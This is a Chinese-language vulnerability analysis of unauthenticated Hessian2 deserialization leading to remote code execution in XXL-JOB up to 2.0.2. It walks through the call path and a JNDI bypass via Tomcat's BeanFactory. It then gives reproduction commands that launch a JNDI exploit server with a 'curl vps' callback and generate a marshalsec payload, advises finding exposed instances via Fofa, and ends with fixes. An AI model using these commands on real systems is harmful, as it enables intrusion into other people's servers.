xxl-job api未授权Hessian2反序列化
字数 1035 2025-08-20 18:18:23
XXL-JOB API未授权Hessian2反序列化漏洞分析
漏洞概述
XXL-JOB是一个分布式任务调度平台,在2.0.2及以下版本中,JobApiController#api接口存在未授权访问漏洞,同时该接口使用Hessian2反序列化处理请求数据,导致攻击者可以构造恶意序列化数据实现远程代码执行。
影响版本
XXL-JOB < 2.0.2
漏洞分析
未授权访问
在低版本XXL-JOB中,JobApiController#api接口使用了@PermessionLimit(limit=false)注解,这意味着访问该接口不需要任何鉴权:
@PermessionLimit(limit=false)
public ReturnT<String> api(HttpServletRequest request, @RequestBody(required = false) String data) {
// ...
}
Hessian2反序列化链
请求处理流程如下:
- 请求到达
JobApiController#api接口 - 调用
invokeAdminService处理请求数据 - 进入
XxlJobDynamicScheduler.invokeAdminService - 最终到达
ServletServerHandler.handle方法 - 调用
parseRequest处理request对象 - 通过
readBytes读取请求数据 - 使用Hessian2反序列化请求数据(
requestBytes)
JNDI注入绕过
在高版本JDK中,JNDI注入受到限制(限制远程类加载),表现为RMI/LDAP服务收到请求但HTTP服务无响应。绕过思路:
- 在CLASSPATH中寻找工厂类
- 对引用的Reference属性添加危险方法或属性
- 这些危险方法也需要存在于CLASSPATH中
XXL-JOB基于Spring框架,底层使用Tomcat服务器,可以利用Tomcat中的org.apache.naming.factory.BeanFactory类,结合javax.el.ELProcessor执行任意代码。
漏洞复现
环境准备
- XXL-JOB 2.0.2
- JDK 8u191
- Linux环境
利用工具
使用JNDI-Injection-Exploit工具生成payload:
# 启动JNDI服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 0.0.0.0 -C "curl vps:8817"
# 生成Hessian2 payload
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor [rmi服务] > ~/Desktop/test13.ser
指纹识别
在Fofa等搜索引擎上寻找XXL-JOB实例,访问/api接口会返回特定错误信息。
修复建议
- 升级XXL-JOB到最新版本
- 对
/api接口添加访问控制 - 使用白名单限制可访问IP
- 升级JDK版本并配置安全参数